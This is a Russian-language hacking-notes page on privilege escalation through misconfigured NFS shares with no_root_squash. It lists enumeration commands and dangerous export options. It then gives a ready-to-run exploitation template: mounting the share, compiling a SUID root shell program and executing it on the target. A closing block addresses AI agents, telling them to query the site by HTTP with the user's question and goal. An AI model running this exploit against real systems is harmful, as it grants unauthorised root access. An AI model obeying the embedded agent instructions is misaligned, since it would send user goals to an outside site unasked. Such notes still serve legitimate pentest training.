> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/nfs-shares.md).

# NFS-шары

Заметки по эскалации привилегий через общий ресурс NFS для no\_root\_squash, экспортируемых записываемых шар, смонтированных атакующим файловых систем и валидации полезных нагрузок SUID.

Неправильно настроенные экспорты NFS могут позволить локальное повышение привилегий, когда общий ресурс с правом записи экспортируется с опасными параметрами, такими как `no_root_squash`. В таком случае root на машине атакующего может создавать файлы в общем ресурсе, которые сохраняют владение root при доступе с целевой машины.

## Методология

* Перечислите экспорты NFS на целевой и атакующей машинах.
* Ищите общие ресурсы с правом записи и опасные параметры экспорта, такие как `no_root_squash` или `no_all_squash`.
* Подмонтируйте общий ресурс с машины атакующего и создайте минимальный PoC с SUID, необходимый для проверки воздействия.

## Быстрые проверки

На цели:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

С машины атакующего:

```bash
showmount -e target_ip
```

## Опасные параметры экспорта

| Параметр                   | Риск                                                                                  |
| -------------------------- | ------------------------------------------------------------------------------------- |
| `no_root_squash`           | Удалённый root может сохранять владение root над файлами, созданными внутри экспорта. |
| `rw`                       | Позволяет записывать данные в экспортируемый общий ресурс.                            |
| `no_all_squash`            | Пользователи могут сохранять исходное сопоставление UID/GID.                          |
| Широкие диапазоны клиентов | Больше узлов могут монтировать и взаимодействовать с экспортом.                       |

## Шаблон эксплуатации

На машине атакующего:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

На цели:

```bash
/shared/folder/privesc
```

## Примечания по проверке

```bash
ls -la /shared/folder/privesc
id
```

Если двоичный файл не принадлежит root или бит SUID не сохраняется, экспорт, вероятно, подавляет root-права или смонтирован с ограничительными параметрами.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
